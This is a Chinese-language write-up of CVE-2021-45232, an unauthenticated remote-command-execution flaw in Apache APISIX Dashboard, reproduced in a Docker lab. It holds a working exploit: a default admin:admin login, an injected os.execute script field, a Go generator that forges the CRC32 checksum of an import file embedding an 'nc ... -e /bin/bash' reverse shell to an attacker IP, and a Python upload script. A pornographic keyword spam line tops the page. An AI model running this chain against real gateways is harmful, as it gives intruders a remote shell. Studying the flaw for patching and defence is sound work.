欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Apache?APISIX?Dashboard?未授權(quán)訪問漏洞分析(CVE-2021-45232)

 更新時間:2023年03月16日 14:45:25   作者:Big&Bird  
Apache?APISIX?是一個動態(tài)、實時、高性能的?API?網(wǎng)關(guān),?提供負(fù)載均衡、動態(tài)上游、灰度發(fā)布、服務(wù)熔斷、身份認(rèn)證、可觀測性等豐富的流量管理功能,這篇文章主要介紹了Apache?APISIX?Dashboard?未授權(quán)訪問漏洞(CVE-2021-45232),需要的朋友可以參考下

聲明:本文僅供學(xué)習(xí)參考,其中涉及的一切資源均來源于網(wǎng)絡(luò),請勿用于任何非法行為,否則您將自行承擔(dān)相應(yīng)后果,本人不承擔(dān)任何法律及連帶責(zé)任。

漏洞描述

Apache APISIX 是一個動態(tài)、實時、高性能的 API 網(wǎng)關(guān), 提供負(fù)載均衡、動態(tài)上游、灰度發(fā)布、服務(wù)熔斷、身份認(rèn)證、可觀測性等豐富的流量管理功能。Apache APISIX Dashboard 使用戶可通過前端界面操作 Apache APISIX。該漏洞的存在是由于 Manager API 中的錯誤。Manager API 在 gin 框架的基礎(chǔ)上引入了 droplet 框架,所有的 API 和鑒權(quán)中間件都是基于 droplet 框架開發(fā)的。但是有些 API 直接使用了框架 gin 的接口,從而繞過身份驗證。

影響范圍

Apache APISIX Dashboard < 2.10.1

環(huán)境部署

通過git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine


然后,docker-compose up -d 啟動環(huán)境

環(huán)境起來后,瀏覽器通過默認(rèn)端口9000訪問apisix dashboard

后臺RCE

由于apisix dashboard 默認(rèn)賬號和密碼是admin:admin,所以我們先登錄到后臺,來驗證一把遠(yuǎn)程命令執(zhí)行

首先創(chuàng)建一個上游服務(wù),點擊創(chuàng)建,名稱隨意命名,目標(biāo)節(jié)點填寫我們轉(zhuǎn)發(fā)請求的服務(wù),這里我們填寫docker附帶的Grafana應(yīng)用,端口號為3000,點擊下一步,提交即可。

其次,創(chuàng)建一個路由,名稱任意起,路徑也是自定義,點擊下一步,選擇我們剛才創(chuàng)建的上游服務(wù),最后,提交即可。

查看創(chuàng)建的路由

回到路由配置頁面,點擊配置,然后一直下一步,直到提交時,使用BurpSuite抓包

然后在請求包的body中,添加一個script字段后,發(fā)送請求。

"script": "os.execute('touch /tmp/Keepb1ue')"

再次查看,路由配置信息

接著,我們訪問一下: http://192.168.10.171:9080/rce111

docker中看一下,是否創(chuàng)建了Keepblue這個文件

未授權(quán)接口RCE

如果沒有默認(rèn)密碼或者弱密碼的話,這時我們就利用未授權(quán)接口進(jìn)行RCE了

/apisix/admin/migrate/export
/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export導(dǎo)出配置文件

因為是未授權(quán),所以在未登陸情況下,BP抓包后,請求接口改為/apisix/admin/migrate/export,點擊send后,看到配置文件信息

在導(dǎo)入配置文件時,會對配置文件的checksum值進(jìn)行校驗,那這里其實是可以通過寫腳本算出checksum校驗值,或者是根據(jù)apisix的源碼去計算出新的checksum值

源碼位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函數(shù)將其計算源碼單獨抽取出來,并將需要導(dǎo)入的配置(data)進(jìn)修替換和插入RCE語句

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
        fmt.Println("error!!")
        return
    }
}

運行這段腳本,會生成apisixPayload這個文件

這個就是我們要import上去的計算好校驗值的新的配置文件,接下來使用python代碼可以簡單的傳到服務(wù)端

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

在攻擊機(jī)上,開啟nc監(jiān)聽

接下來,訪問路由地址(http://192.168.10.171:9080/rce111),觸發(fā)遠(yuǎn)程命令執(zhí)行

查看nc反彈shell

反彈成功,說明命令已經(jīng)執(zhí)行

到此這篇關(guān)于Apache APISIX Dashboard 未授權(quán)訪問漏洞(CVE-2021-45232)的文章就介紹到這了,更多相關(guān)Apache APISIX Dashboard 未授權(quán)訪問漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • CentOS下RabbitMq高可用集群環(huán)境搭建教程

    CentOS下RabbitMq高可用集群環(huán)境搭建教程

    這篇文章主要為大家詳細(xì)介紹了CentOS下RabbitMq高可用集群環(huán)境搭建教程,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-08-08
  • 使用ssh-keygen,實現(xiàn)免密碼登陸linux的方法

    使用ssh-keygen,實現(xiàn)免密碼登陸linux的方法

    下面小編就為大家?guī)硪黄褂胹sh-keygen,實現(xiàn)免密碼登陸linux的方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-11-11
  • linux如何為一臺實例分配一個公網(wǎng)IP地址

    linux如何為一臺實例分配一個公網(wǎng)IP地址

    在本篇文章中我們給大家分享了一篇關(guān)于linux如何為一臺實例分配一個公網(wǎng)IP地址的知識內(nèi)容,有需要的朋友們學(xué)習(xí)下。
    2018-10-10
  • centos7.2.1511安裝jdk1.8.0_151及mysql5.6.38的方法

    centos7.2.1511安裝jdk1.8.0_151及mysql5.6.38的方法

    這篇文章主要介紹了centos7.2.1511安裝jdk1.8.0_151及mysql5.6.38的方法,較為詳細(xì)的講述了centos7.2.1511安裝jdk1.8.0_151及mysql5.6.38的具體步驟與相關(guān)設(shè)置技巧,需要的朋友可以參考下
    2018-01-01
  • linux 下 g++編譯程序時-I(大寫i) 與-L(大寫l)-l(小寫l) 的作用詳解

    linux 下 g++編譯程序時-I(大寫i) 與-L(大寫l)-l(小寫l) 的作用詳解

    這篇文章主要介紹了linux 下 g++編譯程序時-I(大寫i) 與-L(大寫l)-l(小寫l) 的作用,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-03-03
  • linux掛載新硬盤過程分享

    linux掛載新硬盤過程分享

    最近有個生產(chǎn)機(jī)由于緩存問題,硬盤不太夠用,所以就加載了一塊硬盤,下面把掛載硬盤的過程記錄下,供大家參考
    2014-01-01
  • apache日志文件詳解和實用分析命令

    apache日志文件詳解和實用分析命令

    這篇文章主要介紹了apache日志文件每條數(shù)據(jù)的請意義,以及一些實用日志分析命令,需要的朋友可以參考下
    2014-03-03
  • Ubuntu解壓zip文件亂碼的解決方法

    Ubuntu解壓zip文件亂碼的解決方法

    最近在工作中遇到一個問題,在Ubuntu的系統(tǒng)下解壓zip文件的時候居然出現(xiàn)了亂碼,通過查找網(wǎng)上的資料終于解決了,所以想著把解決問題的兩個方法分享給大家,方便有需要的朋友們能夠參考借鑒,下面來一起看看吧。
    2016-11-11
  • linux如何安裝python3

    linux如何安裝python3

    在Linux系統(tǒng)中安裝Python3需要先安裝依賴,然后下載安裝包進(jìn)行編譯安裝,具體步驟包括安裝依賴、下載Python3安裝包、解壓、配置安裝目錄、編譯安裝,以及添加軟連接,安裝成功后,通過驗證python3和pip3的版本來確認(rèn)安裝是否成功,本教程基于個人經(jīng)驗,旨在提供一個參考
    2024-10-10
  • Linux中如何開啟或關(guān)閉SELinux

    Linux中如何開啟或關(guān)閉SELinux

    這篇文章主要介紹了Linux中如何開啟或關(guān)閉SELinux問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-02-02

最新評論